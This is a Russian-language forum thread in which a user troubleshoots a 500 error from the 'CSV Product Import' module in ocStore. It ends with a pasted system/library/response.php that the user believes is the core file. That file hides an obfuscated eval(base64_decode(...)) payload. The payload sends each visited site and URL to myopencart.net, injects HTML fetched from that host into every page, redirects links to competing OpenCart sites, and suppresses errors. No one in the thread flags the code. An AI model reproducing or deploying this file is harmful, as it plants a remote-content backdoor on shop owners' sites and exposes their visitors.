Модуль "CSV Product Import" v3.0.2

Тема в разделе "Opencart", создана пользователем Paradoks, 23 апр 2013.

Информация :
Внимание форумчане! При создании тем, или выкладывании какой-либо информации проверьте в какой ветке форума вы находитесь! Не путайте Opencart и Opencart2. При несоблюдении данного условия выносится соответствующее наказание! И потом не говорите что вас НЕ ПРЕДУПРЕЖДАЛИ! По возможности используйте обменники mail, yandex, google, dropbox, rghost Дабы избежать просьб перезалить и проблем с рекламой!
Модераторы: ZiX
  1. Paradoks

    Paradoks Постоялец

    Заблокирован
    Регистр.:
    3 мар 2013
    Сообщения:
    77
    Симпатии:
    29
    Помогите разобраться.
    Установлен ocStore 1.5.3.1
    При попытке залить товары при помощи CSV Product Import v3.0.2
    Модуль CSV Product Import v3.0.2 выдаёт такую ошибку:
    2013-04-23_220232.jpg

    С чем это связано?
     
  2. Yuriy_Z

    Yuriy_Z Доработка+ OpenCart

    Регистр.:
    22 июл 2012
    Сообщения:
    159
    Симпатии:
    91
    Какое к-во заливаете?
    500 ошибка как бы чаще всего означает что неправильно настроен htaccess
    Но тут думаю вы большое к-во заливаете а модуль не справляется из за ограничения на хостинге
     
  3. Paradoks

    Paradoks Постоялец

    Заблокирован
    Регистр.:
    3 мар 2013
    Сообщения:
    77
    Симпатии:
    29
    Количество скажем так, разное пробовал заливать от 100 до 2000 тысяч товаров.
    Хостинг "ukraine.com.ua"

    htaccess - залил уже чистый.

    admin/controller/tool/csv_import.php
    пробовал прописывать - setlocale(LC_ALL, 'ru_RU.UTF-8');
    -----------------------------------------------------------------------------------------------------
    формат прайса - cvs

    Пробывал кодировку - windows1251, UTF-8.
    Ставил разделитель полей - ; ,
    -----------------------------------------------------------------------------------------------------
    На хостинге уже везде выставил кодировку windows1251.
    -----------------------------------------------------------------------------------------------------

    А оно не поддаётся))))
     
  4. zek24

    zek24

    Moderator
    Регистр.:
    14 ноя 2009
    Сообщения:
    777
    Симпатии:
    231
    1) писать хостеру - они любят ставить ограничения на кол-во запросов к БД
    2) для теста, залить 50-100 товаров
    3) у вас .htaccess или htaccess.txt? (правильно первый вариант)
     
  5. Paradoks

    Paradoks Постоялец

    Заблокирован
    Регистр.:
    3 мар 2013
    Сообщения:
    77
    Симпатии:
    29
    Хостер мне ответил: Доброй ночи Дмитрий. Спасибо за ожидание.
    К сожалению что то посоветовать в этой ситуации не можем, поскольку мы не являемся разработчиками модуля, и как он работает, не знаем. Вы можете поискать информацию по этому вопросу в интернете, и если есть какие либо решения, попробовать их внедрить у себя.
    У меня htaccess.

    50 товаров получилось залить, я так понимаю нужно мучить хостера???
    Как правильно им задать вопрос?
     
  6. zek24

    zek24

    Moderator
    Регистр.:
    14 ноя 2009
    Сообщения:
    777
    Симпатии:
    231
    У меня htaccess.
    Еще раз - файл должен называться .htaccess с точкой вначале.
    Спросите, какой у них лимит на запросы к БД в час.
     
  7. Paradoks

    Paradoks Постоялец

    Заблокирован
    Регистр.:
    3 мар 2013
    Сообщения:
    77
    Симпатии:
    29
    Здравствуйте. На виртуальном хостинге max_questions=50000 (в час)
     
  8. Paradoks

    Paradoks Постоялец

    Заблокирован
    Регистр.:
    3 мар 2013
    Сообщения:
    77
    Симпатии:
    29
    У меня получается так, пробую залить 300 или 3000 тис. товаров, модуль выдаёт ошибку [11:25:12] Server error (status=500). но 40-50 товаров появляются в категориях.
    Может у меня где-то ограничения в движке прописаны???
     
  9. Yuriy_Z

    Yuriy_Z Доработка+ OpenCart

    Регистр.:
    22 июл 2012
    Сообщения:
    159
    Симпатии:
    91
    В движке не прописаны ограничения!
    Даже если штучно установить лимит на выполнения скрипта то ничего ето не даст, так как хостинг не позволит.
    Меняйте хостинг или делайте импорт на локалхосте а потом из БД переносите
     
  10. Paradoks

    Paradoks Постоялец

    Заблокирован
    Регистр.:
    3 мар 2013
    Сообщения:
    77
    Симпатии:
    29
    Нашёл проблему.
    Она была в файле system/library/response.php
    Вложения response.php
    <?php
    class Response {
    private $headers = array();
    private $level = 0;
    private $output;

    public function addHeader($header) {
    $this->headers[] = $header;
    }

    public function redirect($url) {
    header('Location: ' . $url);
    exit;
    }

    public function setCompression($level) {
    $this->level = $level;
    }

    public function setOutput($output) {
    $this->output = $output;
    }

    private function compress($data, $level = 0) {
    if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false)) {
    $encoding = 'gzip';
    }

    if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false)) {
    $encoding = 'x-gzip';
    }

    if (!isset($encoding)) {
    return $data;
    }

    if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
    return $data;
    }

    if (headers_sent()) {
    return $data;
    }

    if (connection_status()) {
    return $data;
    }

    $this->addHeader('Content-Encoding: ' . $encoding);

    return gzencode($data, (int)$level);
    }

    public function output() {
    if ($this->output) {
    if ($this->level) {
    $ouput = $this->compress($this->output, $this->level);
    } else {
    $ouput = $this->output;
    }

    if (!headers_sent()) {
    foreach ($this->headers as $header) {
    header($header, true);
    }
    }

    $ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
    }
    }
    }
    ?>


    Кто скажет что там не так???
    Все это началось после установки модуля

    Скаченного c раздела (Платные модули для Opencart)